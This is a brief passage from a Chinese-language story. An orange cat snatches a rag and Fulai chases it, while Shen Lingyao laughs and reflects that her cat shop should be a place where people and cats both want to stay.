她没说完话,刚才去散步的橘猫又走了回来,忽然一跃而起,叼起窝里一条破布又跳了出去,吓得福来哎哟一声追出去。 她在后头喊:“你别追,它是去选新住处呢!” 但是看着福来追猫的动作,沈令遥也忍不住笑,笑声在这个傍晚的院子里轻轻飘起,像一盏被点亮的纸灯。 她忽然想,也许真正的猫铺不该只卖猫的东西,更该是一个让人愿意留下、猫也愿意留下的地方。